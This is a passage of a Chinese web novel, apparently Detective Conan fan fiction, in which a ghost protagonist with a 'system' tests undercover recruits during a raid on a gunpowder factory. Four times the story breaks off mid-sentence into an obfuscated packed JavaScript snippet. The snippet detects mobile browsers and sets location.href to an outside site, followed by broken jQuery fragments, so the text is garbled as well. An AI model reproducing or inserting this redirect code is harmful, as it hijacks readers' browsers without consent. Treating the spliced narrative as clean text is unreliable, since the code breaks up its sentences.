他举着枪,可以很清晰的看见“安保”的手腕上还有被他们用绳子绑住的痕迹,大约是醒后利用杂物间的锐利物品割破了绳结。
“只是之前有点疑惑。”风间羽栖回答。
“安保”笑了笑:“你怀疑我是故意被打晕的?”
“不,”风间羽栖眨了眨眼:“被打晕难道不是因为你没他厉害吗?”
“安保”哽了一下:“那你怎么看出来的。”
“我只是觉得你着安保当的太松弛了。”风间羽栖叹了口气:“这里的管理者是个谨慎的罪犯,怎么会在那么重要的巡逻位置上,聘请一个因为灰尘过敏或者鼻炎就不好好巡逻的人?”
“而且你也说过,”风间羽栖手指轻点桌面:“‘楼上不能随便来’,所有安保里,只有你一个人会上二楼巡逻。”
“我说的对吗?这个火药厂的管理者之一?”
“安保”,或者说火药厂的管理者之一笑了笑:“很敏锐,不过我很好奇,既然你发觉了不对劲,为什么要一个人留下独自面对我?”
管理者打量了一下风间羽栖:“你的同伴体术很厉害,我打不过他,不过你的话……看起来应该没有受过什么体术训练吧?”
风间羽栖举着枪保持着和他对峙的样子,闻言坦诚:“我打不过你。”
“不过,”风间羽栖看着他:“你们厂的企业文化是老板cos员工?”
什么奇怪的问题?管理者显然一愣,皱了皱眉:“不是。”
“这样啊……”风间羽栖拉长了语调:“那你们都伪装成这样是为什么呢?”
“一般来说伪装成这样是在防备什么人,你们应该拿不到我们组织的任务信息才对,”风间羽栖歪了歪头:“既然不是在防我们,那就是在防你们内部的人喽?”
“你们厂里内部出了问题。”他猜测道。
“是,”管理者回答:“前几天所有高层的水都被人下了毒,怀疑是中层的人叛变,所以我们伪装起来等那个人露出马脚。”
“你下的毒?”风间羽栖问道。
“怎么会。”管理者神色自若看起来并不像撒谎。
“但是你的确想要谋朝篡位不是吗?”
听到这句话,管理者的神色才微微的变化了一下:“有什么证据?”
“你现在还站在这里而不是通知其他人不就是证据。”风间语栖神色肯定:“而且你来找我,是因为厂长已经对你有了戒心,所以你需要我们帮忙。”
那个管理者盯着他几秒,忽然说:“我知道你们组织。”
“我被那个人打压太久了,如果你们帮我完全掌控这家火药厂,”管理者说:“我愿意为你
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266286|166584||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
们组织效力。”
风间羽栖笑,监控室昏暗的灯光映射在他的瞳孔里,像水面上映射着落日的金色波纹:“你想合作?”
“我想合作。”管理者看着他,认为他不会拒绝。
风间羽栖如他所想的一样放下了枪,这是友好的信号。
“所以,告诉我你们厂里所有你知道的信息。”
-
安室透是可以从耳麦里听到风间羽栖那边的动静的。
从一开始风间羽栖就没单方面的切断通讯。
当听到柏图斯说那个人没他厉害的时候,安室透表情微妙,这算是被柏图斯肯定了吗?
听完他们之间谈话的安室透第一反应是,柏图斯果然很敏锐。
这就是直觉系吗?安室透想起了以前在读警校时,从同学讨论动漫的话语中听到过的这个词,其实柏图斯说出的话大多都是主观的推测,没有实质性的证据。
但是他的这些推测都是对的,而在黑衣组织里做事,并不需要像探案一样,拿到实质性的证据才能抓捕犯人。
安室透在心里给柏图斯的危险程度提上了一档,毕竟他现在在卧底,最担心的就是有人看破他的卧底身份。
耳麦里传来了有人走出去时,门的开合声,安室透知道他们的谈话结束了。
“呵。”
一声轻微的笑声传来,声音带来的震动让耳朵有些发痒,安室透忍不住捂了下耳朵,柏图斯刚刚是笑了吗?
“安室。”他听见柏图斯在叫他的名字:“你刚刚应该听见了吧?”
看着远处那个穿着工作服戴着帽子的任务目标——他就是厂长,安室透低声应道:“听到了,所以接下来,要我怎么做?”
“告诉他高森先生发现了叛徒的马脚,邀请他去二楼右手边的那个走廊详谈……”
“高森先生”是刚刚那个管理者的姓,为了表示自己的诚意,他也把自己的名字“高森阳人”告诉了风间羽栖。
“然后呢?”安室透发觉出他还有话没有讲完。
“然后我会让狙击手朝这个厂的厂长左肩膀上射一枪。”
“你再去找到高森阳人,说我们的狙击手已经击中了厂长让他失去了行动能力,让他去收尾,这是组织对他能力的考察。”而高森阳太如果真的想加入组织,就不会拒绝。
“等到他们都失去行动能力再把他们绑回组织。”
很显然,风间羽栖是想让他们内斗,但是……
“不是说和高森阳人合作吗?”这个合作符合组织的利益,高森阳太作为管理者显然要比他们更熟悉厂内的运作,所以安室透并不明白风间羽栖为什么要选择让他们内斗。
但是柏图斯显然拒绝回答他这么做的意图,只是说:“我可没答应他要合作。”
柏图斯的声音里带了点狡黠的笑意。
-
‘我怎么可能又招一个危险人物进入组织,那组织什么时候才能倒闭。’风间羽栖和系统吐槽:‘那个高森阳人一看就野心不小。’
‘宿主怎么确定高森阳人会听你的?’系统疑惑。
‘他没得选,’风间羽栖双手抱臂:‘他背叛厂长已经是板上钉钉的事了,他不可能再和组织为敌。’
‘既然如此,宿主为什么不直接解决他……?’系统小声问道,它的道德底线还是挺灵活的,一般是跟随宿主的身份来的。
系统说的没错,他这么做其实有一定的不确定性,毕竟他不能保证厂长和高森阳人完全按他的想法行动。
但是……
风间羽栖垂下了眼,睫毛在脸上留下一道浅浅的阴影,遮住了瞳孔里细碎的光亮:‘如果不是必要的话,系统。’
‘我并不想杀人。’
风间羽栖看着地面,又一次和自己强调。
16. 第 16 章
风间羽栖呼出口气,单方面切断了自己这边的联系,低声喃喃:“既然计划已经开始了,那现在得解决一点计划之外的东西了。”
系统疑惑:‘不是都交给其他人了吗?’
风间羽栖撇了撇嘴:‘高森阳人不是傻子,他虽然不得不按我说的做,但也绝对会留后手。’
耳麦里传来了安室透和高森阳人的对话,随后一阵脚步声渐远。
安室透用耳麦向他汇报:“已经如您所说让他们去二楼了。”
风间羽栖把目光落在监控里几个重点怀疑的对象上。
在高森阳人走后,看向了手机,而且有一瞬间不自然神色的只有一人——就是那个手指有伤的懒散青年。
‘应该就是他了。’风间羽栖笃定的说:‘他应该是高森阳人的下属。’
系统:!
‘宿主怎么确定的?’
‘直觉?’风间羽栖眨眨眼,有些不靠谱的说。
系统:‘……’
‘或许是因为他和高森阳人是一类人吧?一脉相承,都很喜欢伪装成懒惰松散的普通人,让人放下戒心。’风间羽栖耸了耸肩:‘但是他手上的伤,虽然伤疤从监控看不太明显,但我没看错的话应该是枪伤吧?’
‘刚刚高森阳人应该给他发信息了,或许在他手上有炸弹的开关。如果我们想处理高森,他就让这个人引爆炸弹来威胁我们。’
系统恍然大悟:‘所以宿主现在是想提前把开关抢过来?’
‘对……’风间羽栖的话语突然一顿:‘等等……好像不用了。’
监控里一个金发黑皮面带微笑的走向了手指有伤的懒散青年。
-
在这次行动里,由于和柏图斯一起组队,为了不冒犯到考核官,安室透大多数时候都是在听从柏图斯的命令。
如果是普通的任务,那他那么做无可厚非,但是这是代号考核任务,那他那么做也就代表表现不够出色。
他必须做什么让柏图斯看到他的能力。
身为情报人员,察言观色,辨人识物是必须具备的能力,所以当时柏图斯让他说出那个青年的特征时,他就发现了——这个人不对劲。
而柏图斯肯定也察觉了一点,但不能确定。
安室透比风间羽栖多知道一点情报。
之前在打晕高森阳人的时候,他负责把高森阳人绑住,在这期间观察到了高森阳人的腿部肌肉处有枪伤。
那个懒散的青年手上的枪伤伤口大小特征和高森阳人腿上的伤口一样,所以极有可能是被同一个型号的子弹击中过。
会有那么巧合的事吗?很可能是青年是高森阳人的人,这两个伤口是在同一场混战中留下的。
安室透隐瞒了这个信息,毕竟他必须要做点什么来证明自己。
于是他向那个青年走过去,装作一副吊儿郎当的模样靠近,摸出一包烟:“抽吗?”
据安室透观察,在这附近的垃圾桶里有很多烟蒂,所以这个人很可能是抽烟的。
原本警惕的懒散青年看了一眼这包不算便宜的烟,砸吧了下嘴,迟疑接过:“什么事?”
“啊,”安室透笑的很无害:“我是新来的,想问问……”
-
“中计了。”厂长捂着受伤的胳膊咬牙,他蹲下,快速躲到远离窗户的地方。
虽然不知道狙击手是不是高森阳人那个混蛋的人,但是毫无疑问的是高森阳人已经背叛了他。
毕竟他们这样的走/私贩自己的名字一向都讳莫如深,那个人能说出他的名字就说明这是高森阳人自己告诉他的。
厂长身为亡命之徒走/私多年,最厌恶的就是叛变,曾经他以为属下的叛变差点死在警察枪下,所以高森阳人的叛变瞬间激怒了他。当看见高森阳人的时候,他第一时间就掏出了枪:“你背叛了我!”
高森阳人看见他手臂的鲜血已经明白了发生了什么,心中暗骂了一声,组织的那个人不是说厂长已经失去行动能力了吗?
他很快反应过来,那个人也根本没想放过自己。
“你没看出来。”高森阳人嗤笑:“我们都中计了,那个人想让我们自相残杀。”
厂长冷笑着:“那又怎么样?你已经背叛了我,对我来说,你也是敌人!”
高森阳人敏锐的发现他打算拉警报叫人,不过厂长的手臂受了伤动作慢了一瞬,赶紧一枪打中警报器。
警报器掉到窗边,冒出阵阵黑烟。
高森阳人躲到墙后,避开了厂长的子弹,万幸的是,他留了其他退路,他手指点了两下手机,将提前打好的两条信息发了出去,一条发给风间羽栖,告诉他如果他们组织把他当做弃子,那他就会引爆炸弹。
另一条发给他信任的下属,让他等会引爆一部分炸弹以示威胁。
而厂长也不是傻子,之前他赴约时就告诉了心腹,如果一小时之内没有他的消息就带人上楼。
他们对峙着,厂长试图靠近报警器,但是高森阳人立马扑了过去,他们打作一团。
最后气喘吁吁的两个人站在警报器边上举着枪,但是谁也没再开枪,原本厂长的体术好点,如果手臂没受伤他可能不会那么谨慎,所以此刻他们都在等支援。
此刻看到二人重新出现在窗边的赤井秀一没有再开枪。
他在等一个时机,可以同时让两个人都失去行动能力,避免放跑任何一个人。
而诸伏景光亦是如此,诸伏景光紧紧的盯着两个人,前面的时候他犹豫了一瞬间,虽然之前卧底训练时训练过很多次,但真的要瞄准人的时候,他有一瞬间的恍惚。
他真的已经一脚踏进组织了……
就在他恍惚的一秒,身边有枪声响起,诸星大已经开了枪。
诸伏景光的手指微微握紧一瞬,在心底缓缓吐出一口气,他明白,自己还是没完全适应“绿川明”这个身份,这是卧底的大忌。
而赤井秀一就没有想那么多,美国对枪支的管控没日本严格,持枪的犯人随处可见,抓捕控制罪犯时都是需要用上枪的,他已经不止一次用枪制止犯人行动了。
所以在厂长出现在窗口处时赤井秀一就开了枪——以防被身边的人抢先。
不过现在为了确保任务不出错,两个人都保持着狙击的姿势没开枪。
但是他们都没想到的是,有狙击手开枪了。
是另外两个被忽视已久的狙击手的其中一人——这个人的狙击能力是几个人当中最差的,但是他不肯服输,想要靠什么证明自己。
所以他开了枪,但是和他所想的,一枪打中两个人的腿的想法不同,这颗子弹只打中了厂长。
窗边的平衡被打破了,高森阳人很快就反应过来,他先躲到窗户外看不见的死角处,他没有任何犹豫趁着厂长受伤的空档开了枪。
厂长缓缓倒地,死不瞑目。
赤井秀一和诸伏景光都看见了里面的情况。
诸伏景光很快判断出来,很难再打中高森阳人了,现在当务之急是立马给柏图斯汇报情况,于是飞快的编辑了一条信息发给了柏图斯。
高森阳人喘着气弯腰沿着墙壁向一楼走。
-
风间羽栖看到了信息,他飞快的扫过。
风间羽栖:……
狠狠的给那个开枪的狙击手记了一笔。
二楼和监控室距离不算长,而且有一条共同的必经之路,所以哪怕风间羽栖此刻想走也一定会在路上碰到高森阳人。
看了一眼安室透那边的情况,还好新人里还是有靠谱的,安室透已经控制住了高森阳人的心腹,成功拿到了遥控器。
风间羽栖已经举起了枪对准了门口,从高森阳人的行动来看,他必然会来找自己谈判。
果不其然,门很快被推开,高森阳人同样举着枪对着他:“你耍我!”他恶狠狠的质问道。
“我可从来没说过要合作。”风间羽栖平静的回答。
高森阳人冷笑:“我也早就做了防备……如果你想杀了我,我就让人引爆炸药,我们同归于尽。”
风间羽栖眉头都没动一下。
高森阳人以为是他不信,于是发消息让下属引爆一部分炸药,但是消息发出去后厂内一点动静都没有。
“真是残忍。”风间羽栖看向他,琥珀色的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266287|166584||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
瞳孔犹如没有温度的日光:“这些炸弹的附近应该都有无辜的员工吧。”
“假惺惺。”高森阳人已经反应过来了,或许自己的人已经被控制起来了:“你们组织杀的人可比我们多多了。”
他明白自己已经躲不过了:“既然我已经是弃子了……”
他开了一枪冲了过来,神色全是疯狂:“那就拉上你吧——”
风间羽栖堪堪躲过了这颗子弹,但吃了体术不好的亏,被高森阳人用枪抵住了头。
高森阳人咧着嘴,在死亡的威胁下,神色有点狰狞:“在我被你的同伴杀死前,你就先下地狱吧!”
他开了枪。
‘宿主——’系统在他脑海担忧的大喊。
好疼——风间羽栖单膝跪在地上捂住了头。
高森阳人癫狂的神色顿住了。
子弹穿过了风间羽栖的头,却干干净净射进墙壁,而风间羽栖身上没有任何伤口。
“怎么、怎么可能……”这显然已经超越了高森阳人的认知:“你、你……”
风间羽栖一只手捂着头,他仍然因为头疼单膝跪在地上,但是另一只手缓缓举起了枪,对准了不敢置信的高森阳人。
-
必须杀了他。
他没有办法……风间羽栖有点恍然,如果留下他,他鬼魂身份必然会暴露。
眼前的场景和曾经缓缓重叠。
耳边仿佛传来贝尔摩德的声音:“亲爱的,我记得你还在读大学吧?真是年轻。”
——什么意思?
风间羽栖的思绪有点停顿。
“我在你们大学的论坛上看到过你哦?人气还不错嘛小家伙。”
——她在威胁我。
对面的人被绳索捆住,惊恐的睁着眼,一声声哀求着:“不要,不要杀我!我还有孩子,我还有孩子,我背叛组织只是想过安宁的生活——”
轻柔的女声还环绕在他耳边:“我记得你有个朋友叫——”
“砰。”
带来消音器的手枪发出轻响。
子弹直直的贯穿了那个人的眉心,带着鲜血和脑/浆狠狠的击中墙上的镜子。
镜子四分五裂,尸体倒在碎裂的镜子上。
风间羽栖颤抖着放下枪,目光从死不瞑目的尸体上挪开,和镜子里的自己对上目光。
——原本他以为会看到一张带着痛苦的、仓皇的面容。
结果他只看见,无数镜子碎片拼凑出一个疲倦的、冷漠的神情。
手枪掉到地上,发出清脆的声音。
-
“对不起……”
高森阳人缓缓倒地。
在一地鲜血中,风间羽栖的瞳孔缓缓有了聚焦。
系统小心翼翼的询问:‘宿主你没事吧……’
风间羽栖有些脱力的靠着墙壁坐下,和高森阳人的尸体对视片刻,闭了闭眼:“……没事。”
他摸了摸额头,上面没有任何伤口,但是头疼仍然绵延不止。
手里的枪突然掉到了地上,风间羽栖一愣。
他刚刚并没有松手。
风间羽栖低头看去,看到了自己的手指变得透明起来,他伸手试图拿起枪,手指却穿过枪身:‘这是怎么回事?’
他忽然想起系统曾经说过,他的灵魂状态不能收到过多的重创。
‘是宿主的灵魂受了重创的缘故。’系统叹气:‘灵魂能量的逸散更严重了,所以现在很难保持可以触摸死物的状态。不过宿主放心,过段时间灵魂稳定了就会恢复原来的状态。’
‘大概要过多久?’风间羽栖感觉头更疼了。
‘可能几个小时,可能几天。’系统谨慎回答。
门外突然传来几道脚步声。
风间羽栖听到了安室透诸伏景光和赤井秀一的交谈声——或者说夹枪带棒的嘲讽,看来是他们已经处理好了剩下的人,赶过来了。
速度快的有点让他出乎意料了,原本他预计他们处理剩下的人应该需要一个小时的。
他们大概还有几秒就要推门了,而他现在的身体是半透明的。
风间羽栖:……
17. 第 17 章
厂长死了后,火药厂里群龙无首,普通人不敢反抗,而管理层的人不多,当看到安室透手上控制厂内炸弹的遥控器时都老老实实的没有反抗。
他们没费什么劲就把剩下的人控制了起来。
诸伏景光先提出去找柏图斯,安室透和赤井秀一没有异议,毕竟柏图斯是主考核官,如果他真的死在这个任务里对还是新人的他们来说是个不小的麻烦。
而除了他们三个之外的人负责看守已经被绑起来的人。
安排妥当后,他们三个就朝着监控室的方向走,很快就到了监控室门口。
推开门后一眼就看到了高森阳人,他头上的枪口很显眼,他已经死了,看着高森阳人惊恐的神情似乎是看见了什么不敢置信的事。
诸伏景光先踏进了监控室,环视一周,并没有看到柏图斯,他微微皱了皱眉。
这很不正常,毕竟监控室门口有一段必经之路,而他们经过那时没有看见柏图斯。
——那柏图斯去哪了?
安室透和赤井秀一也有些疑惑。
-
一分钟前。
风间羽栖无言的看着自己的手指。
他刚刚只是想扶着墙壁站起来,结果令他没想到的是,他的手穿过了墙壁。
门口的脚步声越来越近,没有时间给他犹豫了,风间羽栖深吸了口气,整个人穿过了墙壁。
穿过墙壁的感觉和他想象中不同,原本以为多少有点阻力,结果没有然后感觉,他就那么穿了过去。
……所以为什么监控室旁边是杂物间?
风间羽栖叹了口气,安慰自己好歹这里没有人。
就一墙之隔,风间羽栖还是能听见他们翻找东西时发出的一些声音。
像是在玩什么黑衣组织版躲猫猫。
研究了一下自己现在的状态,好像是飘着的,不过他控制着比较贴近地面,不仔细看看不出来。
而且也没影子。
很符合他对鬼的刻板印象,果然他之前的状态是特殊的吧?
他百无聊赖的观察起杂物间的东西来,这个杂物间好像一开始是放资料的,后来被弃置了。
目光扫过架子,突然看到一张照片。
——是那个手指有伤的青年和高森阳人年轻时候的照片,两个人正在欺凌一个瘦弱的男孩,那个男孩的瞳孔已经有点涣散了,而高森阳人还嬉皮笑脸的举着相机自拍,记录下了这一幕。
看着照片里男孩绝望的神情,风间羽栖皱起了眉。
在照片右下角写着他们两的名字——高森弘、高森阳人十五岁。
从名字显然可以看出来,两个人是兄弟关系。
过了一会风间羽栖感觉透明的手指好像微微凝实了点,脚也踩到地面上了。
不过当他试探的用手指抓住物品时,抓住了一瞬又穿了过去。
算了,只要不被碰到就好了,要是等到那群人因为他失踪汇报给组织就麻烦了。
他不想被组织怀疑是卧底去汇报信息,也不想被琴酒用伯/莱/塔顶头质问。
走到门口时风间羽栖准备握门把手,结果又穿了过去。
风间羽栖:……
好吧,他还没完全适应触摸不到实体的状态。
一路躲着人来到监控室门口,万幸的是,门是开着的。
他突然出现在监控室门口,让里面的人都愣了一下。
赤井秀一眯眼观察了一下风间羽栖,他很好奇,为什么风间羽栖会在监控室消失,现在又在门口出现。
风间羽栖神色淡淡:“你们来太晚了。”言下之意就是他早就解决了高森阳人,所以在他们来之前就离开了。
安室透皱了皱眉,显然对他这句话有疑问,因为他们来时高森阳人显然刚死。
风间羽栖也知道自己这句话漏洞太多了,不过他的神色没有什么变化,只是转移了话题:“这次任务你们几个表现的不错,我会和组织说明。”
好明显的转移话题,但是这个话题是他们无法拒绝的,毕竟他们现阶段的目的都是获得代号。
“所以——”风间羽栖话语一转:“剩下的人呢?”
“除了普通的员工外,其他的人已经控制起来了,在大厅。”诸伏景光回答,因为是他安排的地方,所以他更加清楚一些。
风间羽栖点了点头,指了指地上的尸体:“处理一下,我去大厅看看。”
几个人当然不会拒绝。
-
风间羽栖到了大厅。
几个组织新人看见他显然有些激动,风间羽栖神色淡淡的看着他们,其中有个人神色一僵,显然是之前那个开枪导致计划出错的人。
他扫了一下大厅里被绑着的人,大概七八个,都是这个火药厂里有管理权限的人,不过他们的地位显然没高森阳人和厂长的地位高。
风间羽栖一个个看过去,点到最后一个人,他转头看向那几个看守的人:“还有个人。”
他语气笃定,毕竟他之前在监控看到过安室透抓住了那个人——那个手上有伤的懒散青年,或者叫“高森弘”的那个人,这里怎么可能没有?
被他质问的几个人显然神色都慌张了起来。
风间羽栖语气冰冷起来:“你们是想自己说,还是进组织的审讯室?”
有人咬了咬牙站了出来:“有个人跑了……那个人说自己身上有炸弹,我们不敢轻举妄动。”
风间羽栖:“……”
风间羽栖:“你们甚至没怀疑过他的话语的真实性?”有一瞬间,他非常想直接把拥有代号的成员名额给面前的人一个。
——要是有这样的人才,组织离倒闭也不远了。
不过显然的是,组织也清楚这批新人里到底有几个有能力的,只把有能力的人的资料放到前面了,意思显然是让他在前面的几个人里面挑。
……所以这完全是意料之外的麻烦。
头还因为之前的枪伤隐隐作痛,让风间羽栖的目光有些冰冷,但是现在不是生气的时候,当务之急应该是抓住跑走的人。
从刚刚那张照片来看高森弘绝不是什么良善之辈,如果逃走了必然会想办法报复他们。
风间羽栖:“……现在联系一下绿川明和诸星大,让他们去工厂天台蹲守,看看能不能找到那个人的踪迹,如果有就控制他的行动。”
“剩下的人,留下一个看守,其他的在厂内搜索那个人。”
-
手指有伤的青年——或者说叫他高森弘,现在已经保持不住原本懒散的姿态了。
从昏迷中醒来,发现自己被绑后,他已经猜到了,高森阳人大概已经遭遇了不测。
看着高森阳人之前发给他的一个侧脸——是偷拍的视角,那个人正好偏头看向监控,没有注意到高森阳人手里的微型摄影机。
在灯光的照耀下,照片里的人琥珀色的瞳孔更加显眼。
高森弘咬了咬牙,他明白这个人很可能就是杀死他哥哥的凶手。
他把手机放进口袋,思考着应该往哪里跑才能最大可能的逃走,忽然,他在口袋的手动了动,摸出了一张纸条。
纸上的字显然是给他的不想暴露身份,所以打印出来的。
“——如果想活命,那就往厂外西北方向跑。”
这张纸条是什么时候到他手里的?应该是在他昏迷期间,他并不能判断到底是谁塞给他的。
厂外的西北方向……那里有什么?
他凭借着自己对火药
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266288|166584||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
厂的熟悉,通过侧门跑了出去。
该不该信这张字条上的话?高森弘犹豫着。
而火药厂的天台上,诸伏景光先捕捉到了他的身影,这一次,他没有犹豫的开枪打中了正在奔跑的高森弘的右腿。
高森弘因为剧痛踉跄了下,但由于对死亡的恐惧,他还是踉踉跄跄的跑进了丛林里。
原本高森弘还在犹豫,现在他只能赌一把给他字条的人没骗他了。
丛林里障碍物太多了,难以接着狙击目标。
诸伏景光汇报了一下情况,随后用狙击镜接着观察情况,一阵风吹过,丛林里树叶摆动,隐隐露出了一点闪烁的灯光。
这个灯光诸伏景光再熟悉不过了——是警车。
警察怎么会来这?
诸伏景光的手指微微动了动,他很快反应过来,是zero做的。
——在卧底期间尽可能配合警方抓捕一些重要的罪犯也是他们的职责。
但是现在他们还没获得代号,zero的做法还有有点太冒险了。
诸伏景光皱了皱眉,他不能告诉柏图斯警察来了,这样很容易引起柏图斯的怀疑——怀疑他们当中有人通风报信。
据他所知,组织并不缺狙击手,最有可能只会选择一位,他和诸星大的狙击水平差不多,柏图斯很可能会选在之前行动中更加果断的诸星大。
所以这次他很可能得不到代号,而zero如果不被怀疑,肯定是能获得代号的,在权衡了一番利弊后,诸伏景光决定给柏图斯发消息,揽下放跑人的罪责。
-
“所以说,人跑了?”风间羽栖皱了皱眉。
诸伏景光神色冷静的低下头:“是的。”他已经做好承担任务失误的责罚了。
按理来说风间羽栖是必须要追责的,但是如果绿川明真的是卧底的话……
风间羽栖摩挲了一下手指:“……算了,这次那个人逃跑不是你的责任。”
诸伏景光诧异的抬头看向柏图斯。
这实在是有点太通情达理了些,毕竟对组织的代号成员来说,只有任务有失误,无论他是不是全责,都是需要受到责罚的。
风间羽栖:“但是,你这次的考核任务很可能会因此不通过。”
诸伏景光点了点头,这个结果在他看来已经是最好的结果了。
不过柏图斯对他的态度好像有点太好了……组织的人真的会无缘无故的对一个新人态度宽容吗?
不、不会,诸伏景光并没有忘记柏图斯拿枪指着那个迟到的新人时,脸上冰冷的神色。
他蓦然想起了第一次见到柏图斯的时候,琥珀色瞳孔的青年暧昧的用带着手套的指尖若有若无的敲打着他的腕骨。
诸伏景光心中起了一个荒唐的想法。
为了验证这个想法,也是为了给自己争取机会,诸伏景光试探着开口:“柏图斯……”
恰好此时,风间羽栖感受到自己的头似乎已经不疼了,他摸了一下口袋里的手机,发现自己已经能碰到实物了,于是还算好心情的回答诸伏景光:“怎么了?”
诸伏景光谨慎的问道:“我可以成为你的下属吗?”
风间羽栖诧异的眨了眨眼。
就在诸伏景光以为他会拒绝的时候,就听到柏图斯回答道:“可以。”
绿川明的能力还是很不错的,而且最近组织内部的状况越来越复杂了,他手下还没有什么可靠的下属,所以风间羽栖没有拒绝。
正在汇报任务情况的风间羽栖没有看到,诸伏景光眼神有点复杂。
他甚至都没说自己为什么要成为柏图斯的下属,柏图斯就同意了。
所以说,诸伏景光神色有点微妙的想,他不会真是柏图斯喜欢的类型吧?
18. 第 18 章
风间羽栖坐在桌子上靠着墙壁。
变成鬼魂后他的疲惫感大大增加,这次行动耗费了他太多精力,虽然现在还不能睡觉,但这个姿势可以让他稍稍放松一点。
至于为什么要坐在桌子上——拜托,他现在是考核官,坐在椅子上不就比旁边的组织新人矮一头吗?
不过,报告果然很麻烦,他在心底叹了口气。
如果是寻常的任务,他还能把工作汇报交给下属,但显然的是,代号考核的任务是不能由其他人来代劳的。
所以说,为什么琴酒担着个副考核官的名头却能不来啊?风间羽栖心底嘀嘀咕咕,表面上还是一副冷淡的样子站在诸伏景光旁边。
诸伏景光看他在发邮件贴心的没有打扰他这位新晋上司。
风间羽栖余光瞥了一眼绿川明,其实他同意绿川明成为他的下属还有一点原因——这个原因主要是和系统有关。
那就是——为什么绿川明不是关键人物,在组织新人当中最特殊的就是安室透、绿川明、诸星大这三人。
而这三人当中,只要绿川明不是关键人物,那么系统的判定到底和什么有关?系统不能告诉他,但并不代表他不能主动去探寻。
如果绿川明没有成为代号成员而且也没有成为他的下属,以代号成员和底层人员的地位来看,他恐怕很难再见到绿川明,更别说探寻系统的判定到底是什么了。
他撇绿川明的这一眼并没有掩饰,诸伏景光感觉到了,眼神更加复杂了起来。
刚刚那个荒谬的想法又浮现在脑海中,虽然那只是诸伏景光的猜测——但是毫无疑问的是柏图斯对他很感兴趣。
无论这种感兴趣是从什么方面的,都代表他对柏图斯来说有价值,在组织里,有价值也代表着向上爬的机会。
如果他这次在代号考核中落选,这无疑是很好再次深入组织的机会。
安室透和赤井秀一匆忙赶了回来,刚才他们收到了信息,说目标已经跑了。
安室透对这件事并不意外,毕竟给那个人的字条是他给的,但是他有些意外的是hiro担下了这次过失。
——原本他是想嫁祸给诸星大的。
不过这也是他的疏忽,毕竟以hiro的性格看,如果hiro发现是他做的必然会替他遮掩。
所以赶过来的时候安室透看起来冷静,实际上十分着急,结果看到了柏图斯坐在桌子上而诸伏景光守在他身边相安无事的样子。
[印象为+5。]
[关键人物安室透对您的印象为:竟然没生气……?]
赤井秀一倒是没什么反应,毕竟这件事和他没什么关系,他稍稍比安室透晚一步赶到,也是因为他并不着急。
看到系统提示的风间羽栖:?
所以他现在是应该生气吗?他板起了脸。
其他组织新人也陆陆续续赶到了,看见主考核官似乎生气了,都有点害怕。
风间羽栖:(▼ヘ▼#)
看到他变脸全过程的安室透/诸伏景光/赤井秀一:……
柏图斯是不是有点阴晴不定的?
风间羽栖:“先回安全屋,我会宣布这次考核的结果。”
“不过,”风间羽栖话锋一转,神色淡淡:“我想,你们应该对自己的考核结果有数了吧?我不想浪费时间,觉得自己没希望通过的就不要来了。”
这也是考核的一环——如果这些新人对自己都没有信息,组织也没必要重用他们。
果然,听到这句话后,大部分人都面如死灰,显然知道自己是没机会了。
但也有人庆幸——起码不是被丢到组织的审讯室。
赤井秀一听到后若有所思,看样子柏图斯是不打算计较这些人犯的错误了。
[印象值+5。]
[关键人物诸星大对您的印象为:也许出乎意料的好相处?]
风间羽栖看了一眼诸星大,诸星大看起来神色没有异常,并没有因为猜测他“好相处”就来试探他的底线。
他松了口气,悄悄的打了个哈欠,这次的任务耗费了他太多精力,困意也弥漫了上来。
诸伏景光注意到他悄咪咪打哈欠的动作,眼中闪过了一丝笑意。
在严肃的场合上悄悄的搞点小动作,让他想起他还在上学的时光——柏图斯看起来也差不多是这个年纪。
只不过这里不是学校,柏图斯也不是被老师批评的调皮学生,他年纪轻轻已经获得了组织的代号——这种认知又让诸伏景光收敛了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266289|166584||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
笑意。
他们回到了安全屋,当然身为考核官,风间羽栖是自己单独被接送回去的。
最终留下来的只有安室透、绿川明、诸星大三个人。
